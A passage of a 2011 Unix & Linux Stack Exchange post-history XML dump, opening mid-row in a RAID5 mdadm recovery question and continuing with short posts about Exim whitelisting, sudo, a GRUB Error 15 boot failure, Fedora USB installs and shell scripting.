: 68b48975 - correct&#xD;&#xA;             Events : 53210&#xD;&#xA;    &#xD;&#xA;             Layout : left-symmetric&#xD;&#xA;         Chunk Size : 64K&#xD;&#xA;    &#xD;&#xA;          Number   Major   Minor   RaidDevice State&#xD;&#xA;    this     2       8       34        2      active sync   /dev/sdc2&#xD;&#xA;    &#xD;&#xA;       0     0       0        0        0      removed&#xD;&#xA;       1     1       0        0        1      faulty removed&#xD;&#xA;       2     2       8       34        2      active sync   /dev/sdc2&#xD;&#xA;       3     3       0        0        3      faulty removed&#xD;&#xA;       4     4       8       50        4      spare   /dev/sdd2&#xD;&#xA;    /dev/sdd2:&#xD;&#xA;              Magic : a92b4efc&#xD;&#xA;            Version : 0.90.00&#xD;&#xA;               UUID : 53eb7711:5b290125:db4a62ac:7770c5ea&#xD;&#xA;      Creation Time : Sun May 30 21:48:55 2010&#xD;&#xA;         Raid Level : raid5&#xD;&#xA;      Used Dev Size : 625064960 (596.11 GiB 640.07 GB)&#xD;&#xA;         Array Size : 1875194880 (1788.33 GiB 1920.20 GB)&#xD;&#xA;       Raid Devices : 4&#xD;&#xA;      Total Devices : 4&#xD;&#xA;    Preferred Minor : 1&#xD;&#xA;    &#xD;&#xA;        Update Time : Mon Aug 23 11:44:54 2010&#xD;&#xA;              State : clean&#xD;&#xA;     Active Devices : 1&#xD;&#xA;    Working Devices : 2&#xD;&#xA;     Failed Devices : 2&#xD;&#xA;      Spare Devices : 1&#xD;&#xA;           Checksum : 68b48983 - correct&#xD;&#xA;             Events : 53210&#xD;&#xA;    &#xD;&#xA;             Layout : left-symmetric&#xD;&#xA;         Chunk Size : 64K&#xD;&#xA;    &#xD;&#xA;          Number   Major   Minor   RaidDevice State&#xD;&#xA;    this     4       8       50        4      spare   /dev/sdd2&#xD;&#xA;    &#xD;&#xA;       0     0       0        0        0      removed&#xD;&#xA;       1     1       0        0        1      faulty removed&#xD;&#xA;       2     2       8       34        2      active sync   /dev/sdc2&#xD;&#xA;       3     3       0        0        3      faulty removed&#xD;&#xA;       4     4       8       50        4      spare   /dev/sdd2&#xD;&#xA;&#xD;&#xA;It appears that things have changed since the last boot. If I'm reading this correctly sda2, sdb2 and sdc2 are working and contain synchronized data and sdd2 is spare. I distinctly remember seeing 3 failed disks but this is good news. Yet the array still isn't working:&#xD;&#xA;&#xD;&#xA;    Personalities : [linear] [multipath] [raid0] [raid1] [raid6] [raid5] [raid4] [raid10] &#xD;&#xA;    md125 : inactive sda2[0](S) sdb2[1](S) sdc2[2](S)&#xD;&#xA;          1875194880 blocks&#xD;&#xA;           &#xD;&#xA;    md126 : inactive sdd2[4](S)&#xD;&#xA;          625064960 blocks&#xD;&#xA;           &#xD;&#xA;    md127 : active raid1 sda1[0] sdd1[3] sdc1[2] sdb1[1]&#xD;&#xA;          64128 blocks [4/4] [UUUU]&#xD;&#xA;          &#xD;&#xA;    unused devices: &lt;none&gt;&#xD;&#xA;&#xD;&#xA;md0 appears to be renamed to md127. md125 and md126 are very strange. They should be one array not two. That used to be called md1. md2 is completely gone but that was my swap so I don't care.&#xD;&#xA;&#xD;&#xA;I can understand the different names and it doesn't really matter. But why is an array with 3 &quot;active sync&quot; disks unreadable? And what's up with sdd2 being in a separate array?&#xD;&#xA;&#xD;&#xA;**Update**&#xD;&#xA;&#xD;&#xA;I tried the following after backing up the superblocks:&#xD;&#xA;&#xD;&#xA;    root@sysresccd /root % mdadm --stop /dev/md125&#xD;&#xA;    mdadm: stopped /dev/md125&#xD;&#xA;    root@sysresccd /root % mdadm --stop /dev/md126&#xD;&#xA;    mdadm: stopped /dev/md126&#xD;&#xA;&#xD;&#xA;So far so good. Since sdd2 is spare I don't want to add it yet.&#xD;&#xA;&#xD;&#xA;    root@sysresccd /root % mdadm --assemble /dev/md1 /dev/sd{a,b,c}2 missing &#xD;&#xA;    mdadm: cannot open device missing: No such file or directory&#xD;&#xA;    mdadm: missing has no superblock - assembly aborted&#xD;&#xA;&#xD;&#xA;Apparently I can't do that.&#xD;&#xA;&#xD;&#xA;    root@sysresccd /root % mdadm --assemble /dev/md1 /dev/sd{a,b,c}2        &#xD;&#xA;    mdadm: /dev/md1 assembled from 1 drive - not enough to start the array.&#xD;&#xA;    root@sysresccd /root % cat /proc/mdstat &#xD;&#xA;    Personalities : [linear] [multipath] [raid0] [raid1] [raid6] [raid5] [raid4] [raid10] &#xD;&#xA;    md1 : inactive sdc2[2](S) sdb2[1](S) sda2[0](S)&#xD;&#xA;          1875194880 blocks&#xD;&#xA;           &#xD;&#xA;    md127 : active raid1 sda1[0] sdd1[3] sdc1[2] sdb1[1]&#xD;&#xA;          64128 blocks [4/4] [UUUU]&#xD;&#xA;          &#xD;&#xA;    unused devices: &lt;none&gt;&#xD;&#xA;&#xD;&#xA;That didn't work either. Let's try with all the disks.&#xD;&#xA;&#xD;&#xA;    mdadm --stop /dev/md1&#xD;&#xA;    mdadm: stopped /dev/md1&#xD;&#xA;    root@sysresccd /root % mdadm --assemble /dev/md1 /dev/sd{a,b,c,d}2&#xD;&#xA;    mdadm: /dev/md1 assembled from 1 drive and 1 spare - not enough to start the array.&#xD;&#xA;    root@sysresccd /root % cat /proc/mdstat                           &#xD;&#xA;    Personalities : [linear] [multipath] [raid0] [raid1] [raid6] [raid5] [raid4] [raid10] &#xD;&#xA;    md1 : inactive sdc2[2](S) sdd2[4](S) sdb2[1](S) sda2[0](S)&#xD;&#xA;          2500259840 blocks&#xD;&#xA;           &#xD;&#xA;    md127 : active raid1 sda1[0] sdd1[3] sdc1[2] sdb1[1]&#xD;&#xA;          64128 blocks [4/4] [UUUU]&#xD;&#xA;          &#xD;&#xA;    unused devices: &lt;none&gt;&#xD;&#xA;&#xD;&#xA;No luck. Based on [this answer][1] I'm planning to try:&#xD;&#xA;&#xD;&#xA;    mdadm --create /dev/md1 --assume-clean --metadata=0.90 --level=5 --raid-devices=4 /dev/sd{a,b,c}2 missing&#xD;&#xA;    mdadm --add /dev/md1 /dev/sdd2&#xD;&#xA;&#xD;&#xA;Is it safe?&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/8980/how-to-raid-mirror-existing-root-partition/9022#9022" />
  <row Id="21965" PostHistoryTypeId="5" PostId="8861" RevisionGUID="5ee60a77-4ce5-465f-aeb3-2745307ca993" CreationDate="2011-03-14T13:42:36.907" UserId="4477" Comment="added 26 characters in body" Text="Some time ago I had a RAID5 system at home. One of the 4 disks failed but after removing and putting it back it seemed to be OK so I started a resync. When it finished I realized, to my horror, that 3 out of 4 disks failed. However I don't belive that's possible. There are multiple partitions on the disks each part of a different RAID array.&#xD;&#xA;&#xD;&#xA;* md0 is a RAID1 array comprised of sda1, sdb1, sdc1 and sdd1.&#xD;&#xA;* md1 is a RAID5 array comprised of sda2, sdb2, sdc2 and sdd2.&#xD;&#xA;* md2 is a RAID0 array comprised of sda3, sdb3, sdc3 and sdd3.&#xD;&#xA;&#xD;&#xA;md0 and md2 reports all disks up while md1 reports 3 failed (sdb2, sdc2, sdd2). It's my uderstanding that when hard drives fail all the partitions should be lost not just the middle ones.&#xD;&#xA;&#xD;&#xA;At that point I turned the computer off and unplugged the drives. Since then I was using that computer with a smaller new disk.&#xD;&#xA;&#xD;&#xA;Is there any hope of recovering the data? Can I somehow convince mdadm that my disks are in fact working? The only disk that may really have a problem is sdc but that one too is reported up by the other arrays.&#xD;&#xA;&#xD;&#xA;**Update**&#xD;&#xA;&#xD;&#xA;I finally got a chance to connect the old disks and boot this machine from SystemRescueCd. Everything above was written from memory. Now I have some hard data. Here is the output of `mdadm --examine /dev/sd*2`&#xD;&#xA;&#xD;&#xA;    /dev/sda2:&#xD;&#xA;              Magic : a92b4efc&#xD;&#xA;            Version : 0.90.00&#xD;&#xA;               UUID : 53eb7711:5b290125:db4a62ac:7770c5ea&#xD;&#xA;      Creation Time : Sun May 30 21:48:55 2010&#xD;&#xA;         Raid Level : raid5&#xD;&#xA;      Used Dev Size : 625064960 (596.11 GiB 640.07 GB)&#xD;&#xA;         Array Size : 1875194880 (1788.33 GiB 1920.20 GB)&#xD;&#xA;       Raid Devices : 4&#xD;&#xA;      Total Devices : 4&#xD;&#xA;    Preferred Minor : 1&#xD;&#xA;    &#xD;&#xA;        Update Time : Mon Aug 23 11:40:48 2010&#xD;&#xA;              State : clean&#xD;&#xA;     Active Devices : 3&#xD;&#xA;    Working Devices : 4&#xD;&#xA;     Failed Devices : 1&#xD;&#xA;      Spare Devices : 1&#xD;&#xA;           Checksum : 68b48835 - correct&#xD;&#xA;             Events : 53204&#xD;&#xA;    &#xD;&#xA;             Layout : left-symmetric&#xD;&#xA;         Chunk Size : 64K&#xD;&#xA;    &#xD;&#xA;          Number   Major   Minor   RaidDevice State&#xD;&#xA;    this     0       8        2        0      active sync   /dev/sda2&#xD;&#xA;    &#xD;&#xA;       0     0       8        2        0      active sync   /dev/sda2&#xD;&#xA;       1     1       8       18        1      active sync   /dev/sdb2&#xD;&#xA;       2     2       8       34        2      active sync   /dev/sdc2&#xD;&#xA;       3     3       0        0        3      faulty removed&#xD;&#xA;       4     4       8       50        4      spare   /dev/sdd2&#xD;&#xA;    /dev/sdb2:&#xD;&#xA;              Magic : a92b4efc&#xD;&#xA;            Version : 0.90.00&#xD;&#xA;               UUID : 53eb7711:5b290125:db4a62ac:7770c5ea&#xD;&#xA;      Creation Time : Sun May 30 21:48:55 2010&#xD;&#xA;         Raid Level : raid5&#xD;&#xA;      Used Dev Size : 625064960 (596.11 GiB 640.07 GB)&#xD;&#xA;         Array Size : 1875194880 (1788.33 GiB 1920.20 GB)&#xD;&#xA;       Raid Devices : 4&#xD;&#xA;      Total Devices : 4&#xD;&#xA;    Preferred Minor : 1&#xD;&#xA;    &#xD;&#xA;        Update Time : Mon Aug 23 11:44:54 2010&#xD;&#xA;              State : clean&#xD;&#xA;     Active Devices : 2&#xD;&#xA;    Working Devices : 3&#xD;&#xA;     Failed Devices : 1&#xD;&#xA;      Spare Devices : 1&#xD;&#xA;           Checksum : 68b4894a - correct&#xD;&#xA;             Events : 53205&#xD;&#xA;    &#xD;&#xA;             Layout : left-symmetric&#xD;&#xA;         Chunk Size : 64K&#xD;&#xA;    &#xD;&#xA;          Number   Major   Minor   RaidDevice State&#xD;&#xA;    this     1       8       18        1      active sync   /dev/sdb2&#xD;&#xA;    &#xD;&#xA;       0     0       0        0        0      removed&#xD;&#xA;       1     1       8       18        1      active sync   /dev/sdb2&#xD;&#xA;       2     2       8       34        2      active sync   /dev/sdc2&#xD;&#xA;       3     3       0        0        3      faulty removed&#xD;&#xA;       4     4       8       50        4      spare   /dev/sdd2&#xD;&#xA;    /dev/sdc2:&#xD;&#xA;              Magic : a92b4efc&#xD;&#xA;            Version : 0.90.00&#xD;&#xA;               UUID : 53eb7711:5b290125:db4a62ac:7770c5ea&#xD;&#xA;      Creation Time : Sun May 30 21:48:55 2010&#xD;&#xA;         Raid Level : raid5&#xD;&#xA;      Used Dev Size : 625064960 (596.11 GiB 640.07 GB)&#xD;&#xA;         Array Size : 1875194880 (1788.33 GiB 1920.20 GB)&#xD;&#xA;       Raid Devices : 4&#xD;&#xA;      Total Devices : 4&#xD;&#xA;    Preferred Minor : 1&#xD;&#xA;    &#xD;&#xA;        Update Time : Mon Aug 23 11:44:54 2010&#xD;&#xA;              State : clean&#xD;&#xA;     Active Devices : 1&#xD;&#xA;    Working Devices : 2&#xD;&#xA;     Failed Devices : 2&#xD;&#xA;      Spare Devices : 1&#xD;&#xA;           Checksum : 68b48975 - correct&#xD;&#xA;             Events : 53210&#xD;&#xA;    &#xD;&#xA;             Layout : left-symmetric&#xD;&#xA;         Chunk Size : 64K&#xD;&#xA;    &#xD;&#xA;          Number   Major   Minor   RaidDevice State&#xD;&#xA;    this     2       8       34        2      active sync   /dev/sdc2&#xD;&#xA;    &#xD;&#xA;       0     0       0        0        0      removed&#xD;&#xA;       1     1       0        0        1      faulty removed&#xD;&#xA;       2     2       8       34        2      active sync   /dev/sdc2&#xD;&#xA;       3     3       0        0        3      faulty removed&#xD;&#xA;       4     4       8       50        4      spare   /dev/sdd2&#xD;&#xA;    /dev/sdd2:&#xD;&#xA;              Magic : a92b4efc&#xD;&#xA;            Version : 0.90.00&#xD;&#xA;               UUID : 53eb7711:5b290125:db4a62ac:7770c5ea&#xD;&#xA;      Creation Time : Sun May 30 21:48:55 2010&#xD;&#xA;         Raid Level : raid5&#xD;&#xA;      Used Dev Size : 625064960 (596.11 GiB 640.07 GB)&#xD;&#xA;         Array Size : 1875194880 (1788.33 GiB 1920.20 GB)&#xD;&#xA;       Raid Devices : 4&#xD;&#xA;      Total Devices : 4&#xD;&#xA;    Preferred Minor : 1&#xD;&#xA;    &#xD;&#xA;        Update Time : Mon Aug 23 11:44:54 2010&#xD;&#xA;              State : clean&#xD;&#xA;     Active Devices : 1&#xD;&#xA;    Working Devices : 2&#xD;&#xA;     Failed Devices : 2&#xD;&#xA;      Spare Devices : 1&#xD;&#xA;           Checksum : 68b48983 - correct&#xD;&#xA;             Events : 53210&#xD;&#xA;    &#xD;&#xA;             Layout : left-symmetric&#xD;&#xA;         Chunk Size : 64K&#xD;&#xA;    &#xD;&#xA;          Number   Major   Minor   RaidDevice State&#xD;&#xA;    this     4       8       50        4      spare   /dev/sdd2&#xD;&#xA;    &#xD;&#xA;       0     0       0        0        0      removed&#xD;&#xA;       1     1       0        0        1      faulty removed&#xD;&#xA;       2     2       8       34        2      active sync   /dev/sdc2&#xD;&#xA;       3     3       0        0        3      faulty removed&#xD;&#xA;       4     4       8       50        4      spare   /dev/sdd2&#xD;&#xA;&#xD;&#xA;It appears that things have changed since the last boot. If I'm reading this correctly sda2, sdb2 and sdc2 are working and contain synchronized data and sdd2 is spare. I distinctly remember seeing 3 failed disks but this is good news. Yet the array still isn't working:&#xD;&#xA;&#xD;&#xA;    Personalities : [linear] [multipath] [raid0] [raid1] [raid6] [raid5] [raid4] [raid10] &#xD;&#xA;    md125 : inactive sda2[0](S) sdb2[1](S) sdc2[2](S)&#xD;&#xA;          1875194880 blocks&#xD;&#xA;           &#xD;&#xA;    md126 : inactive sdd2[4](S)&#xD;&#xA;          625064960 blocks&#xD;&#xA;           &#xD;&#xA;    md127 : active raid1 sda1[0] sdd1[3] sdc1[2] sdb1[1]&#xD;&#xA;          64128 blocks [4/4] [UUUU]&#xD;&#xA;          &#xD;&#xA;    unused devices: &lt;none&gt;&#xD;&#xA;&#xD;&#xA;md0 appears to be renamed to md127. md125 and md126 are very strange. They should be one array not two. That used to be called md1. md2 is completely gone but that was my swap so I don't care.&#xD;&#xA;&#xD;&#xA;I can understand the different names and it doesn't really matter. But why is an array with 3 &quot;active sync&quot; disks unreadable? And what's up with sdd2 being in a separate array?&#xD;&#xA;&#xD;&#xA;**Update**&#xD;&#xA;&#xD;&#xA;I tried the following after backing up the superblocks:&#xD;&#xA;&#xD;&#xA;    root@sysresccd /root % mdadm --stop /dev/md125&#xD;&#xA;    mdadm: stopped /dev/md125&#xD;&#xA;    root@sysresccd /root % mdadm --stop /dev/md126&#xD;&#xA;    mdadm: stopped /dev/md126&#xD;&#xA;&#xD;&#xA;So far so good. Since sdd2 is spare I don't want to add it yet.&#xD;&#xA;&#xD;&#xA;    root@sysresccd /root % mdadm --assemble /dev/md1 /dev/sd{a,b,c}2 missing &#xD;&#xA;    mdadm: cannot open device missing: No such file or directory&#xD;&#xA;    mdadm: missing has no superblock - assembly aborted&#xD;&#xA;&#xD;&#xA;Apparently I can't do that.&#xD;&#xA;&#xD;&#xA;    root@sysresccd /root % mdadm --assemble /dev/md1 /dev/sd{a,b,c}2        &#xD;&#xA;    mdadm: /dev/md1 assembled from 1 drive - not enough to start the array.&#xD;&#xA;    root@sysresccd /root % cat /proc/mdstat &#xD;&#xA;    Personalities : [linear] [multipath] [raid0] [raid1] [raid6] [raid5] [raid4] [raid10] &#xD;&#xA;    md1 : inactive sdc2[2](S) sdb2[1](S) sda2[0](S)&#xD;&#xA;          1875194880 blocks&#xD;&#xA;           &#xD;&#xA;    md127 : active raid1 sda1[0] sdd1[3] sdc1[2] sdb1[1]&#xD;&#xA;          64128 blocks [4/4] [UUUU]&#xD;&#xA;          &#xD;&#xA;    unused devices: &lt;none&gt;&#xD;&#xA;&#xD;&#xA;That didn't work either. Let's try with all the disks.&#xD;&#xA;&#xD;&#xA;    mdadm --stop /dev/md1&#xD;&#xA;    mdadm: stopped /dev/md1&#xD;&#xA;    root@sysresccd /root % mdadm --assemble /dev/md1 /dev/sd{a,b,c,d}2&#xD;&#xA;    mdadm: /dev/md1 assembled from 1 drive and 1 spare - not enough to start the array.&#xD;&#xA;    root@sysresccd /root % cat /proc/mdstat                           &#xD;&#xA;    Personalities : [linear] [multipath] [raid0] [raid1] [raid6] [raid5] [raid4] [raid10] &#xD;&#xA;    md1 : inactive sdc2[2](S) sdd2[4](S) sdb2[1](S) sda2[0](S)&#xD;&#xA;          2500259840 blocks&#xD;&#xA;           &#xD;&#xA;    md127 : active raid1 sda1[0] sdd1[3] sdc1[2] sdb1[1]&#xD;&#xA;          64128 blocks [4/4] [UUUU]&#xD;&#xA;          &#xD;&#xA;    unused devices: &lt;none&gt;&#xD;&#xA;&#xD;&#xA;No luck. Based on [this answer][1] I'm planning to try:&#xD;&#xA;&#xD;&#xA;    mdadm --create /dev/md1 --assume-clean --metadata=0.90 --bitmap=/root/bitmapfile --level=5 --raid-devices=4 /dev/sd{a,b,c}2 missing&#xD;&#xA;    mdadm --add /dev/md1 /dev/sdd2&#xD;&#xA;&#xD;&#xA;Is it safe?&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/8980/how-to-raid-mirror-existing-root-partition/9022#9022" />
  <row Id="21966" PostHistoryTypeId="2" PostId="9232" RevisionGUID="19813863-e2c9-4f33-b79a-6e43dcdf7e5e" CreationDate="2011-03-14T14:04:37.027" UserId="2769" Text="The &quot;sender&quot;, as Exim sees it is the envelope-from address, and that was in domain returns.groups.yahoo.com. Once I put that domain (completely; groups.yahoo.com doesn't work, neither does yahoo.com) into my local_sender_whitelist, the ACL worked.&#xD;&#xA;&#xD;&#xA;It had worked during testing because I had used the envelope-from address of yahoogroups.com, the same as the From: address. Never bothered to check if that was the case in the emails from yahoo groups." />
  <row Id="21967" PostHistoryTypeId="25" PostId="9231" RevisionGUID="fe337c08-8a83-4a08-ab8f-b7f2ae5c4374" CreationDate="2011-03-14T14:24:39.817" Comment="http://twitter.com/#!/StackUnix/status/47302123846762496" />
  <row Id="21968" PostHistoryTypeId="2" PostId="9233" RevisionGUID="02594460-e544-4db6-9ebf-b441d4e6fd93" CreationDate="2011-03-14T14:54:10.510" UserId="138" Text="1. Move cursor over syscall name&#xD;&#xA;2. Press 'K'&#xD;&#xA;&#xD;&#xA;(Prerequisite: vi.)" />
  <row Id="21969" PostHistoryTypeId="2" PostId="9234" RevisionGUID="9a2db4d8-1da6-43ca-9062-e8150b165b00" CreationDate="2011-03-14T15:44:08.123" UserId="5685" Text="Linux uses both. It uses segmentation to map all the available address space while giving different access rights: basically a kernel and a user space view.&#xD;&#xA;You can grep the Linux source code for KERNEL_DS (kernel data segment) for some examples.&#xD;&#xA;&#xD;&#xA;Paging is then used for implementing virtual memory (Grep for &quot;struct gdt_page&quot; in the kernel, for a starting point)" />
  <row Id="21970" PostHistoryTypeId="2" PostId="9235" RevisionGUID="36ae1d16-43b6-438e-bd92-3f174e7a4179" CreationDate="2011-03-14T15:53:21.487" UserId="5618" Text="this may be stupid, but is your keyboard working properly? you can be triple pressing the enter key.&#xD;&#xA;&#xD;&#xA;something similar has happened to me :)" />
  <row Id="21971" PostHistoryTypeId="16" PostId="9233" RevisionGUID="3d845a8e-7d45-46f4-bab0-34c12ee1b21f" CreationDate="2011-03-14T15:53:29.943" UserId="73" />
  <row Id="21972" PostHistoryTypeId="16" PostId="9231" RevisionGUID="396b5969-2756-4cc6-a272-4fc5c7bb7c1e" CreationDate="2011-03-14T15:53:29.943" UserId="73" />
  <row Id="21973" PostHistoryTypeId="5" PostId="9218" RevisionGUID="d3cd87be-957c-44d3-bcce-f3d09b6728bf" CreationDate="2011-03-14T16:14:48.223" UserId="912" Comment="added 113 characters in body" Text="    $ sudo some_command&#xD;&#xA;    Password:&#xD;&#xA;    Sorry, try again.&#xD;&#xA;    Sorry, try again.&#xD;&#xA;    Sorry, try again.&#xD;&#xA;    sudo: 3 incorrect password attempts&#xD;&#xA;    $&#xD;&#xA;&#xD;&#xA;This is what my shell prints when I enter a wrong password to a sudoed command.&#xD;&#xA;&#xD;&#xA;Why could this happen?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;    $ sudo -V&#xD;&#xA;    Sudo version 1.6.7p5&#xD;&#xA;    $ uname -a&#xD;&#xA;    ... x86_64 GNU/Linux&#xD;&#xA;    $ &#xD;&#xA;&#xD;&#xA;" />
  <row Id="21974" PostHistoryTypeId="5" PostId="9194" RevisionGUID="8ce4f346-c982-4b46-b0ae-fe2c25897661" CreationDate="2011-03-14T16:55:11.317" UserId="1375" Comment="Added menu.lst" Text="I am have a fully updated Arch Linux system that was running fine. Last night I tried to setup autofs per instructions on the Arch wiki, but upon restart there was no boot menu and only a GRUB error message saying &quot;Error 15&quot;.&#xD;&#xA;&#xD;&#xA;(1) Using Ext2explore in Windows, I can see the following partition structure:&#xD;&#xA;![partitions from Windows][1]&#xD;&#xA;&#xD;&#xA;(2) Using fdisk in an ArchLinux live cd, I can see this:&#xD;&#xA;![partitions from Arch live cd][2]&#xD;&#xA;&#xD;&#xA;(3) I tried to do &quot;fdisk /dev/sda/&quot; then the commands x, f, w to correct error, but fdisk says my partitions' &quot;ordering is correct already&quot;&#xD;&#xA;&#xD;&#xA;(4) Using the root and setup commands in the GRUB shell also ended in failure (it tells me it can't find GRUB files, /boot/grub/, etc. etc.). Specifically, I tried &quot;root (hd0,1)&quot;, then &quot;setup (hd0)&quot;, (also hd0,0, hd0,2, etc.), all failed.&#xD;&#xA;&#xD;&#xA;Is there any hope of restoring my system? Thanks for your help.&#xD;&#xA;&#xD;&#xA;P.S. here is my menu.lst:&#xD;&#xA;&#xD;&#xA;    # Config file for GRUB - The GNU GRand Unified Bootloader&#xD;&#xA;    # /boot/grub/menu.lst&#xD;&#xA;    &#xD;&#xA;    # DEVICE NAME CONVERSIONS &#xD;&#xA;    #&#xD;&#xA;    #  Linux           Grub&#xD;&#xA;    # -------------------------&#xD;&#xA;    #  /dev/fd0        (fd0)&#xD;&#xA;    #  /dev/sda        (hd0)&#xD;&#xA;    #  /dev/sdb2       (hd1,1)&#xD;&#xA;    #  /dev/sda3       (hd0,2)&#xD;&#xA;    #&#xD;&#xA;    &#xD;&#xA;    #  FRAMEBUFFER RESOLUTION SETTINGS&#xD;&#xA;    #     +-------------------------------------------------+&#xD;&#xA;    #          | 640x480    800x600    1024x768   1280x1024&#xD;&#xA;    #      ----+--------------------------------------------&#xD;&#xA;    #      256 | 0x301=769  0x303=771  0x305=773   0x307=775&#xD;&#xA;    #      32K | 0x310=784  0x313=787  0x316=790   0x319=793&#xD;&#xA;    #      64K | 0x311=785  0x314=788  0x317=791   0x31A=794&#xD;&#xA;    #      16M | 0x312=786  0x315=789  0x318=792   0x31B=795&#xD;&#xA;    #     +-------------------------------------------------+&#xD;&#xA;    #  for more details and different resolutions see&#xD;&#xA;    #  http://wiki.archlinux.org/index.php/GRUB#Framebuffer_Resolution &#xD;&#xA;    &#xD;&#xA;    # general configuration:&#xD;&#xA;    timeout   5&#xD;&#xA;    default   0&#xD;&#xA;    color green black&#xD;&#xA;    &#xD;&#xA;    # boot sections follow&#xD;&#xA;    # each is implicitly numbered from 0 in the order of appearance below&#xD;&#xA;    #&#xD;&#xA;    # TIP: If you want a 1024x768 framebuffer, add &quot;vga=773&quot; to your kernel line.&#xD;&#xA;    #&#xD;&#xA;    #-*&#xD;&#xA;    &#xD;&#xA;    # (0) Arch Linux&#xD;&#xA;    title  Arch Linux&#xD;&#xA;    root   (hd0,0)&#xD;&#xA;    kernel /vmlinuz26 root=/dev/disk/by-uuid/f4c13c68-54e4-4631-8a5a-d1649d5c3b02 ro vga=771&#xD;&#xA;    initrd /kernel26.img&#xD;&#xA;    &#xD;&#xA;    # (1) Arch Linux&#xD;&#xA;    title  Arch Linux Fallback&#xD;&#xA;    root   (hd0,0)&#xD;&#xA;    kernel /vmlinuz26 root=/dev/disk/by-uuid/f4c13c68-54e4-4631-8a5a-d1649d5c3b02 ro&#xD;&#xA;    initrd /kernel26-fallback.img&#xD;&#xA;    &#xD;&#xA;    # (2) Windows&#xD;&#xA;    #title Windows&#xD;&#xA;    #rootnoverify (hd0,0)&#xD;&#xA;    #makeactive&#xD;&#xA;    #chainloader +1&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/wbnz1.png&#xD;&#xA;  [2]: http://i.imgur.com/ICI00.png" />
  <row Id="21975" PostHistoryTypeId="6" PostId="9194" RevisionGUID="8ce4f346-c982-4b46-b0ae-fe2c25897661" CreationDate="2011-03-14T16:55:11.317" UserId="1375" Comment="Added menu.lst" Text="éarchölinuxàébootàégrubàéerrorà" />
  <row Id="21976" PostHistoryTypeId="25" PostId="9222" RevisionGUID="a6b1386e-8219-4894-918e-4c21c995c117" CreationDate="2011-03-14T17:24:39.637" Comment="http://twitter.com/#!/StackUnix/status/47347421398843392" />
  <row Id="21977" PostHistoryTypeId="2" PostId="9236" RevisionGUID="0c4c8649-4b02-4db8-9a8c-3cec6d251d60" CreationDate="2010-12-12T16:41:09.750" UserDisplayName="user533632" Text="i am not able to install fedora 14 using bootable usb from windows&#xD;&#xA;&#xD;&#xA;the usb is plugged in.&#xD;&#xA;the boot order is too changed from hard drive to usb&#xD;&#xA;&#xD;&#xA;the iso used is ubuntu-10.10-desktop-i386.iso&#xD;&#xA;i  used LiveUSB Creator,Universal-USB-Installer-1.8.1.7,unetbootin-windows-494 for making a bootable usb.&#xD;&#xA;still i am not able to install fedora &#xD;&#xA;At boot time&#xD;&#xA;&#xD;&#xA; 1. &#xD;&#xA;&#xD;&#xA;first time ,there was no message and there was just a cursor blinking at leftmost top corner&#xD;&#xA;&#xD;&#xA; 2. &#xD;&#xA;&#xD;&#xA;second time,the message which appears on screen is&#xD;&#xA;cannot find linux image&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;i followed the http://fedoraproject.org/wiki/FedoraLiveCD/USBHowTo to make a bootable usb" />
  <row Id="21978" PostHistoryTypeId="1" PostId="9236" RevisionGUID="0c4c8649-4b02-4db8-9a8c-3cec6d251d60" CreationDate="2010-12-12T16:41:09.750" UserDisplayName="user533632" Text="Cannot install fedora 14 using bootable usb" />
  <row Id="21979" PostHistoryTypeId="3" PostId="9236" RevisionGUID="0c4c8649-4b02-4db8-9a8c-3cec6d251d60" CreationDate="2010-12-12T16:41:09.750" UserDisplayName="user533632" Text="éfedoraà" />
  <row Id="21980" PostHistoryTypeId="17" PostId="9236" RevisionGUID="5dbc3b87-4bce-469d-9505-6cbb9a3cd81f" CreationDate="2011-03-14T17:27:39.813" UserId="-1" Comment="from http://stackoverflow.com/questions/4422695/cannot-install-fedora-14-using-bootable-usb" Text="" />
  <row Id="21981" PostHistoryTypeId="2" PostId="9237" RevisionGUID="0a87239b-47ab-4767-b035-1411232885c3" CreationDate="2011-03-14T17:28:11.730" UserId="3608" Text="Why shell script don't have such a simple command as `pause`?" />
  <row Id="21982" PostHistoryTypeId="1" PostId="9237" RevisionGUID="0a87239b-47ab-4767-b035-1411232885c3" CreationDate="2011-03-14T17:28:11.730" UserId="3608" Text="Why shell script don't have &quot;pause&quot;?" />
  <row Id="21983" PostHistoryTypeId="3" PostId="9237" RevisionGUID="0a87239b-47ab-4767-b035-1411232885c3" CreationDate="2011-03-14T17:28:11.730" UserId="3608" Text="éshellàéshellöscriptà" />
  <row Id="21984" PostHistoryTypeId="2" PostId="9238" RevisionGUID="8d9c0a67-6142-487d-8504-be7e380bb8f9" CreationDate="2011-03-14T17:29:21.583" UserId="3976" Text="You mean [`sleep`][1]?  Or do you want to have something that waits for input before continuing?  You can do that with a [`read`][2] call.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://linux.die.net/man/3/sleep&#xD;&#xA;  [2]: http://tldp.org/LDP/Bash-Beginners-Guide/html/sect_08_02.html" />
  <row Id="21985" PostHistoryTypeId="2" PostId="9239" RevisionGUID="ca73754c-c4b0-4b3f-bf29-3a8c3868ebcf" CreationDate="2011-03-14T17:37:44.400" UserId="3976" Text="The reason why you need to redirect that URL is because you are visiting an unencrypted web page with the http:// (plaintext) URL, and the proxy needs to tell the browser to talk to the https:// URL.  Your browser wouldn't know what to do with an SSL response if it were somehow directed to the secure port using the HTTP protocol.  (Sadly, I'm not sure if anyone uses http-starttls, which should be able to handle that, but that's a separate question)" />
  <row Id="21986" PostHistoryTypeId="2" PostId="9240" RevisionGUID="bff7b7d7-4da4-4edc-89ee-62b05a97f7c7" CreationDate="2011-03-14T17:44:46.110" UserId="3976" Text="As I said in a comment:&#xD;&#xA;The error &quot;D: May free Score board((nil))&quot; is most likely not a useful diagnostic error, it just is the last line in the verbose output." />
